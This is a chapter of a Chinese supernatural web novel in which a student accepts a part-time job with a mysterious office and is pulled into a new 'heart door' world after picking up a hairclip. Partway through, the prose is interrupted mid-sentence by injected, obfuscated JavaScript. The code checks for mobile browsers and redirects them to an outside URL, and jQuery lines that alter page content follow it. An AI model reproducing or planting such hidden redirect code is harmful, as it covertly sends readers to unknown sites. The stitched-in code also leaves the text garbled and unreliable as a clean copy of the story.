宿珩踩着23:25的时间点，赶在宿舍楼门禁前刷开了闸机。
楼道里安静无人，只有感应灯随着脚步声依次亮起又熄灭。
宿珩回到宿舍，门没锁，虚掩着一条缝。
推开门，一股泡面混合着汗味的熟悉气息扑面而来，算不上好闻，却带着一种脱离了‘心门’后，令人心安的真实感。
上床下桌的四人间，只住着三个人。
靠门位置的室友1正在打游戏，对面床上的室友2正压低声音和对象打语音。
听到开门声，室友2从手机屏幕上抬起头，看到是宿珩，有些意外：“今天家教这么晚才结束吗？”
宿珩走到自己的书桌前坐下，声音听不出什么情绪：“学生家长临时加了点题，多耽误了会儿。”
“哦哦……辛苦辛苦。”
室友2应了两声，没再多问，注意力很快又回到了手机上，继续和对象腻歪去了。
室友1也抽空抬了下头，含糊地打了声招呼，随后又立刻沉浸在游戏中了。
宿珩从柜子里拿出洗漱用品，走向宿舍尽头的公共盥洗室。
冰凉的水扑在脸上，驱散了一些疲惫，却没能浇灭脑子里纷乱的思绪。
肖靳言的话，那个“街道清理办事处”，还有那份高得不合常理的薪水……在脑海里反复盘旋。
他看着镜子里自己略显苍白的脸，水珠顺着下颌线滑落。
其实，他隐约感觉到了自己的不同寻常。
筒子楼里那些翻涌的情绪，恐惧、绝望、令人窒息的压迫……他似乎比旁人更能清晰地感受到，那种感觉太过具体，几乎像是能用眼睛“看见”一般。
肖靳言肯定也察觉到了。
不然，那个男人不会在筒子楼里，用那种近乎笃定的语气问他——
“你对这些……东西，好像比其他人敏感？”
敏感……吗？
宿珩关掉水龙头，哗哗的水流声戛然而止，周围只剩下灯管微弱的电流声。
他甩了甩手上的水珠，转身离开。
这一晚，宿珩罕见地失眠了。
第二天只有上午一节专业课。
下课铃一响，宿珩收拾好东西，没有回宿舍，而是径直穿过校园，从南门走了出去，拐向那栋毫不起眼的二层小楼。
宿珩推开玻璃门，自行走了进去。
大概其他的“清理师”都还在外面执行任务，整个一楼空荡荡的，过于安静。
宿珩没停留，径直踏上了通往二楼的木质楼梯。
他敲响了那扇挂着“处长办公室”牌子的门。
“进。”
里面传来肖靳言带着点懒散的声音。
宿珩推门进去。
肖靳言正靠在宽大的椅背上，指间夹着一根未点燃的香烟，视线落在一份摊开的文件上。
看到来人是宿珩，他眉梢微不可察地动了一下，似乎对他的到来并不感到意外。
“想好了？”肖靳言放下文件，目光落在他身上。
“嗯。”宿珩点头，“我同意兼职。”
“行。”
肖靳言唇角勾起一点弧度，拿起桌上的黑色座机话筒，作势要拨号。
“正好小闫也在，我让他通知一下，等其他人出差回来，给你办个欢迎……”
“不用了。”宿珩干脆地打断他的提议，顿了下，好歹解释了一句：“我不喜欢人多。”
肖靳言拨号的手指停在半空，他看了宿珩两秒，耸耸肩，把话筒放了回去。
“行吧，随你。”
他站起身，走到旁边的饮水机接了杯水，递给宿珩。
“那正好，省得麻烦了。不过按我们这儿不成文的规矩，新人入职的第一次任务，得有个老人带着熟悉一下流程。”
肖靳言靠回办公桌边沿，自己也端起桌上的水杯喝了一口，慢悠悠地接着说：“这次，就由我亲自带你。”
宿珩接过那杯尚温的水，握在手里，没有喝。
他没想到任务来得这么快，眼中闪过一丝诧异，“什么时候？”
“后天。”肖靳言放下水杯，“地点和具体情况，我待会儿发你微信。”
他拿出手机，屏幕亮起，调出二维码界面，朝着宿珩的方向示意了一下。
宿珩扫了他的名片，微信好友列表里多了一个头像是一只表情蠢萌的西伯利亚雪橇犬，昵称只有一个“肖”字的人。
这头像和眼前冷硬英俊的男人……没有半点相像。
很快，手机震动了一下。
肖靳言发来一个定位，后面跟着一条文字消息：
【后天上午十点半，到这个小区的中心花坛，如果看到花坛里有一个粉色的蝴蝶发卡，把它捡起来。】
【那是‘钥匙’。】
宿珩看完，想着他们这种类似“体制”内工作的习惯，回了个“收到”。
“记住了？”肖靳言问。
“嗯。”宿珩把手机揣回兜里，“没什么事的话，我先走了。”
“行，后天见。”肖靳言挥了挥手。
宿珩转身离开，办公室的门在他身后轻轻合上。
就在宿珩走后不久，抱着一摞文件的闫知许悄无声息地推开了旁边那扇办公室的门，脸上带着恰到好处的、准备汇报工作的神情。
实际上，早在几分钟前，他准备送文件时，已经把刚才里面的对话听了个七七八八。
他站在处长办公室门外，表情控制得很好，心里却有点微妙。
老人带新人？
闫知许努力回忆了一下，他们办事处，什么时候有过这种温情
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653359|172840||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脉脉的传统了？
能被招进这里的，哪个不是在无限世界里摸爬滚打过的老油条，还需要人手把手地带？
他严重怀疑，他们这位向来眼高于顶、对旁人爱答不理的肖处长，这次是在明目张胆地……徇私。
但这念头也只敢在心里转转，借他十个胆子也不敢当面说出来。
闫知许清了清嗓子，调整好表情，抬手敲响了办公室的门。
……
两天时间一晃而过。
这天上午，宿珩提前了半个小时，按照肖靳言发的定位，找到了那个叫做“手表厂小区”的老旧居民楼。
小区没有设置门禁，可以自由出入，楼栋外墙斑驳，露出底下的红砖，晾衣架伸出窗外，挂着五颜六色的衣物，空气里飘着油烟和尘土混合的气息，充满了嘈杂而鲜活的生活感。
宿珩穿过几栋居民楼，来到小区中心那个不大的圆形花坛前。
花坛边缘的水泥已经有了不少破损的豁口，里面稀疏地种着几棵半死不活的月季，大部分是光秃秃的黄土和枯草。
他的视线在花坛里仔细扫过。
很快，就在一丛枯黄的杂草旁边，发现了一个东西。
一个塑料材质的粉色蝴蝶发卡，静静地躺在那里，颜色在灰扑扑的环境里显得有些突兀。
宿珩走上前，弯腰捡起了那个发卡。
就在他指尖触碰到发卡冰凉塑料的瞬间，眼前熟悉的景象如同被投入石子的水面，猛地扭曲，晃动起来。
和当初被卷入筒子楼的情况一样，周围居民楼的轮廓变得模糊，小区里的嘈杂人声迅速远去，一种阴冷潮湿的气息瞬间包裹了他。
眩晕感只持续了极短的一刹那。
当视线重新清晰时，宿珩发现自己站在一条狭窄、昏暗的楼道里。
两侧的墙壁是那种老式的，只刷了半截绿色油漆的墙围，上半部分是脏污的白墙，上面还残留着小孩子用蜡笔随意涂抹，早已褪色的痕迹。
空气里弥漫着一股灰尘和霉味混合的怪味。
脚下是布满污渍的水泥地面，头顶的白炽灯泡忽明忽暗，发出滋滋的电流声。
在他前方不远处的楼梯转角，肖靳言正懒洋洋地靠着墙壁，双手插在冲锋衣口袋里，冲他扬了扬下巴，算是打过招呼。
而在楼梯拐角更暗一点的地方，还靠坐着另一个人。
一个穿着皱巴巴白衬衫，三十岁左右的男人。
男人看起来疲惫不堪，黑眼圈很重，他把一个半旧的黑色公文包垫在身下，靠着墙角，眼神茫然，无精打采地打量着四周，以及突然出现的宿珩。
看来，不止一个“钥匙”。
宿珩心想。
三个发卡，三个捡到它的人。
一扇全新的“心门”——开启了。